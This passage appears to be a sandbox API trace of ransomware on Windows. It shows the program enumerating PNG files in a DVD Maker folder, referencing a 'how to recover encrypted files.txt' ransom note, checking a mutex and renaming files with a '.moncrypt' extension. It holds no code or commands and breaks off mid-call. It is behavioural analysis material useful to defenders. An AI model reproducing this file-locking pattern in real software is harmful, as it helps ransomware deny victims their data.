[0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.949] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.pngp", lpUsedDefaultChar=0x0) returned 76 [0057.949] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\btn-previous-static.pngp", lpUsedDefaultChar=0x0) returned 4 [0057.949] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 0x54e280 [0057.949] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.949] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.949] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.949] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png", dwFileAttributes=0x20) returned 0 [0057.953] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.953] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.moncrypt")) returned 0 [0057.953] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0057.953] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.953] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.953] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.953] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.953] GlobalUnlock (hMem=0x440004) returned 0 [0057.953] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.953] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.953] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.953] GlobalUnlock (hMem=0x440004) returned 0 [0057.953] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.953] GlobalUnlock (hMem=0x44000c) returned 0 [0057.953] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.954] CharLowerBuffW (in: lpsz="button-highlight.png", cchLength=0x14 | out: lpsz="button-highlight.png") returned 0x14 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.954] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", lpUsedDefaultChar=0x0) returned 73 [0057.955] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\button-highlight.png", lpUsedDefaultChar=0x0) returned 4 [0057.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 0x54e280 [0057.955] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.955] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.955] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.955] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", dwFileAttributes=0x20) returned 0 [0057.955] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.956] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.moncrypt")) returned 0 [0057.956] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0057.956] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.956] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.956] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.956] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.956] GlobalUnlock (hMem=0x44000c) returned 0 [0057.956] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.956] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.956] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.956] GlobalUnlock (hMem=0x44000c) returned 0 [0057.957] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.957] GlobalUnlock (hMem=0x440004) returned 0 [0057.957] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.957] CharLowerBuffW (in: lpsz="button-overlay.png", cchLength=0x12 | out: lpsz="button-overlay.png") returned 0x12 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", lpUsedDefaultChar=0x0) returned 71 [0057.958] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Memories\\button-overlay.png", lpUsedDefaultChar=0x0) returned 4 [0057.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 0x54e280 [0057.958] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.958] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.958] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.958] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", dwFileAttributes=0x20) returned 0 [0057.959] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.959] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.moncrypt")) returned 0 [0057.959] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.959] GlobalLock (hMem=0x440004) returned 0x550170 [0057.959] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.959] GlobalUnlock (hMem=0x440004) returned 0 [0057.959] GlobalLock (hMem=0x440004) returned 0x550170 [0057.959] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.959] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.959] GlobalUnlock (hMem=0x440004) returned 0 [0057.959] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.959] GlobalUnlock (hMem=0x44000c) returned 0 [0057.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43aec460, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43aec460, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.959] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.959] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.959] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.960] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.960] GlobalUnlock (hMem=0x44000c) returned 0 [0057.960] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.960] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.960] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.960] GlobalUnlock (hMem=0x44000c) returned 0 [0057.960] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.960] GlobalUnlock (hMem=0x440004) returned 0 [0057.960] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.960] FindNextFileW (in: 